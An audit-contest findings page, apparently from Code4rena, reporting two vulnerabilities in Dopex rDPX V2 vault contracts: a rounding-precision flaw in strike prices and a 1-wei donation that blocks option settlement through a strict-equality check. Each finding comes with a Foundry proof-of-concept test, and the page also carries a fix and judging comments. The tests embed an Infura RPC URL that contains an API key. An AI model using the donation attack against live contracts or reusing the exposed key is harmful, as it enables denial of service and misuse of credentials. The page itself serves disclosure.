Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 86/189
Findings: 2
Award: $96.34
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Toshii
Also found by: 0x3b, 0xDING99YA, 0xmystery, Cosine, Jiamin, Juntao, Matin, Qeew, Topmark, catwhiskeys, circlelooper, crunch, deadrxsezzz, eeshenggoh, lsaudit, peakbolt, pep7siup, piyushshukla, qpzm, visualbits
96.3292 USDC - $96.33
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L576-L583 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L255-L312 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1156-L1199
Strike prices rounded by roundUp
function in PerpetualAtlanticVault contract:
function roundUp(uint256 _strike) public view returns (uint256 strike) { uint256 remainder = _strike % roundingPrecision; if (remainder == 0) { return _strike; } else { return _strike - remainder + roundingPrecision; } }
roundingPrecision
value regardless to constant is 1e6
:
/// @dev the precision to round up to uint256 public roundingPrecision = 1e6;
But considering that the precision of oracle is 1e8, 1e6 is not a accurate precision for rounding up values especially for values lower than 1e6. Example: roundUp(1e5) = 1e6 (10x)
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test, console } from "forge-std/Test.sol"; // Import core contracts import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol"; import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol"; // Import mock contracts import { MockToken } from "contracts/mocks/MockToken.sol"; import { MockRdpxEthPriceOracle } from "contracts/mocks/MockRdpxEthPriceOracle.sol"; import { MockVolatilityOracle } from "contracts/mocks/MockVolatilityOracle.sol"; import { MockOptionPricing } from "contracts/mocks/MockOptionPricing.sol"; import { MockStakingStrategy } from "contracts/mocks/MockStakingStrategy.sol"; // Import UniswapV2 interfaces import { IUniswapV2Factory } from "contracts/uniswap_V2/IUniswapV2Factory.sol"; import { IUniswapV2Pair } from "contracts/uniswap_V2/IUniswapV2Pair.sol"; import { IUniswapV2Router } from "contracts/uniswap_V2/IUniswapV2Router.sol"; contract POC is Test{ MockToken public weth; MockToken public rdpx; MockStakingStrategy public staking; MockVolatilityOracle public volOracle; MockOptionPricing public optionPricing; MockRdpxEthPriceOracle public priceOracle; PerpetualAtlanticVault public vault; IUniswapV2Factory public uniswapV2Factory; IUniswapV2Router public router; IUniswapV2Pair public ammPair; PerpetualAtlanticVaultLP public vaultLp; string internal constant ARBITRUM_RPC_URL = "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685"; uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13 function setUp() public { uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM); vm.selectFork(forkId); weth = new MockToken("Wrapped ETH", "WETH"); staking = new MockStakingStrategy(); volOracle = new MockVolatilityOracle(); optionPricing = new MockOptionPricing(); priceOracle = new MockRdpxEthPriceOracle(); rdpx = new MockToken("Rebate Token", "rDPX"); uniswapV2Factory = IUniswapV2Factory( 0xc35DADB65012eC5796536bD9864eD8773aBc74C4 ); vault = new PerpetualAtlanticVault( "RDPX Vault", "PAV", address(weth), (block.timestamp + 86400) ); router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); vaultLp = new PerpetualAtlanticVaultLP( address(vault), address(100), address(weth), address(rdpx), "WETH" ); vault.setAddresses( address(optionPricing), address(priceOracle), address(volOracle), address(1), address(rdpx), address(vaultLp), address(this) ); vault.grantRole(vault.RDPXV2CORE_ROLE(), address(this)); rdpx.mint(address(this), 2000 * 1e18); weth.mint(address(this), 200 * 1e18); weth.mint(address(this), 3000 * 1e18); address _pair = uniswapV2Factory.createPair(address(rdpx), address(weth)); ammPair = IUniswapV2Pair(_pair); rdpx.approve(address(router), type(uint256).max); weth.approve(address(router), type(uint256).max); weth.approve(address(vault), type(uint256).max); rdpx.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); router.addLiquidity( address(rdpx), address(weth), 1000 * 1e18, 200 * 1e18, 100 * 1e18, 200 * 1e18, msg.sender, block.timestamp + 300 ); vault.addToContractWhitelist(address(this)); vault.updateFundingDuration(86400); priceOracle.updateRdpxPrice(0.02 gwei); // 1 rdpx = 0.2 WETH } function testPurchaseWithoutRevert() external { priceOracle.updateRdpxPrice(8e5); // Test addresses address depositor = makeAddr("depositor"); // Fund depositor weth.mint(depositor, 100 ether); // Deposit liquidity to PerpetualAtlanticVaultLP vm.startPrank(depositor, depositor); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); vaultLp.deposit(100 ether, depositor); vm.stopPrank(); (, uint256 tokenID) = vault.purchase(20 ether, address(this)); (uint256 strike , ,) = vault.optionPositions(tokenID); // strike price shoud be less than or equal to 75% current price assertLe(strike, (8e5 - (8e5 / 4))); } }
Foundry
Math
#0 - c4-pre-sort
2023-09-08T06:28:41Z
bytes032 marked the issue as duplicate of #980
#1 - c4-pre-sort
2023-09-11T08:22:29Z
bytes032 marked the issue as not a duplicate
#2 - bytes032
2023-09-13T05:45:06Z
Might be somehow related to #2083
#3 - c4-pre-sort
2023-09-14T06:00:49Z
bytes032 marked the issue as sufficient quality report
#4 - c4-pre-sort
2023-09-14T06:00:55Z
bytes032 marked the issue as remove high or low quality report
#5 - c4-pre-sort
2023-09-14T06:01:03Z
bytes032 marked the issue as sufficient quality report
#6 - c4-pre-sort
2023-09-14T06:54:04Z
bytes032 marked the issue as duplicate of #2083
#7 - c4-judge
2023-10-20T14:11:25Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
RdpxV2Core
settle options in PerpetualAtlanticVault
and lost eth amount transfer to RdpxV2Core
contract then subtract loss amount in PerpetualAtlanticVaultLP
:
function settle( uint256[] memory optionIds ) external nonReentrant onlyRole(RDPXV2CORE_ROLE) returns (uint256 ethAmount, uint256 rdpxAmount) { // ... IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount ); // ... }
In subtractLoss
function check collateral balance with new _totalCollateral
but used ==
instead of >=
and if arbitary address send even 1 wei collateral to this contract before settle, DoS happend and transaction reverted.
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
Options can not settled and profit will be stuck.
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test, console } from "forge-std/Test.sol"; // Import core contracts import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol"; import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol"; // Import mock contracts import { MockToken } from "contracts/mocks/MockToken.sol"; import { MockRdpxEthPriceOracle } from "contracts/mocks/MockRdpxEthPriceOracle.sol"; import { MockVolatilityOracle } from "contracts/mocks/MockVolatilityOracle.sol"; import { MockOptionPricing } from "contracts/mocks/MockOptionPricing.sol"; import { MockStakingStrategy } from "contracts/mocks/MockStakingStrategy.sol"; // Import UniswapV2 interfaces import { IUniswapV2Factory } from "contracts/uniswap_V2/IUniswapV2Factory.sol"; import { IUniswapV2Pair } from "contracts/uniswap_V2/IUniswapV2Pair.sol"; import { IUniswapV2Router } from "contracts/uniswap_V2/IUniswapV2Router.sol"; contract POC is Test{ MockToken public weth; MockToken public rdpx; MockStakingStrategy public staking; MockVolatilityOracle public volOracle; MockOptionPricing public optionPricing; MockRdpxEthPriceOracle public priceOracle; PerpetualAtlanticVault public vault; IUniswapV2Factory public uniswapV2Factory; IUniswapV2Router public router; IUniswapV2Pair public ammPair; PerpetualAtlanticVaultLP public vaultLp; string internal constant ARBITRUM_RPC_URL = "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685"; uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13 function setUp() public { uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM); vm.selectFork(forkId); weth = new MockToken("Wrapped ETH", "WETH"); staking = new MockStakingStrategy(); volOracle = new MockVolatilityOracle(); optionPricing = new MockOptionPricing(); priceOracle = new MockRdpxEthPriceOracle(); rdpx = new MockToken("Rebate Token", "rDPX"); uniswapV2Factory = IUniswapV2Factory( 0xc35DADB65012eC5796536bD9864eD8773aBc74C4 ); vault = new PerpetualAtlanticVault( "RDPX Vault", "PAV", address(weth), (block.timestamp + 86400) ); router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); vaultLp = new PerpetualAtlanticVaultLP( address(vault), address(100), address(weth), address(rdpx), "WETH" ); vault.setAddresses( address(optionPricing), address(priceOracle), address(volOracle), address(1), address(rdpx), address(vaultLp), address(this) ); vault.grantRole(vault.RDPXV2CORE_ROLE(), address(this)); rdpx.mint(address(this), 2000 * 1e18); weth.mint(address(this), 200 * 1e18); weth.mint(address(this), 3000 * 1e18); address _pair = uniswapV2Factory.createPair(address(rdpx), address(weth)); ammPair = IUniswapV2Pair(_pair); rdpx.approve(address(router), type(uint256).max); weth.approve(address(router), type(uint256).max); weth.approve(address(vault), type(uint256).max); rdpx.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); router.addLiquidity( address(rdpx), address(weth), 1000 * 1e18, 200 * 1e18, 100 * 1e18, 200 * 1e18, msg.sender, block.timestamp + 300 ); vault.addToContractWhitelist(address(this)); vault.updateFundingDuration(86400); priceOracle.updateRdpxPrice(0.02 gwei); // 1 rdpx = 0.2 WETH } function testSettleNotRevert() public { // Test addresses address depositor = makeAddr("depositor"); // Fund depositor weth.mint(depositor, 1 ether); // Deposit liquidity to PerpetualAtlanticVaultLP vm.startPrank(depositor, depositor); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); vaultLp.deposit(1 ether, depositor); vm.stopPrank(); // Purchase put option from PerpetualAtlanticVault vault.purchase(1 ether, address(this)); uint256[] memory optionIds = new uint256[](1); optionIds[0] = 0; // ITM option priceOracle.updateRdpxPrice(0.010 gwei); // Before settle balances uint256 wethBalanceBefore = weth.balanceOf(address(this)); uint256 rdpxBalanceBefore = rdpx.balanceOf(address(this)); // Send 1 wei to PerpetualAtlanticVaultLP to break settle weth.mint(address(vaultLp), 1); vault.settle(optionIds); // After settle balances uint256 wethBalanceAfter = weth.balanceOf(address(this)); uint256 rdpxBalanceAfter = rdpx.balanceOf(address(this)); assertEq(wethBalanceAfter - wethBalanceBefore, 0.15 ether); assertEq(rdpxBalanceBefore - rdpxBalanceAfter, 1 ether); } }
Foundry
Use >=
instead of ==
:
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) >= _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
DoS
#0 - c4-pre-sort
2023-09-09T09:53:53Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:17Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-21T07:15:45Z
GalloDaSballo marked the issue as satisfactory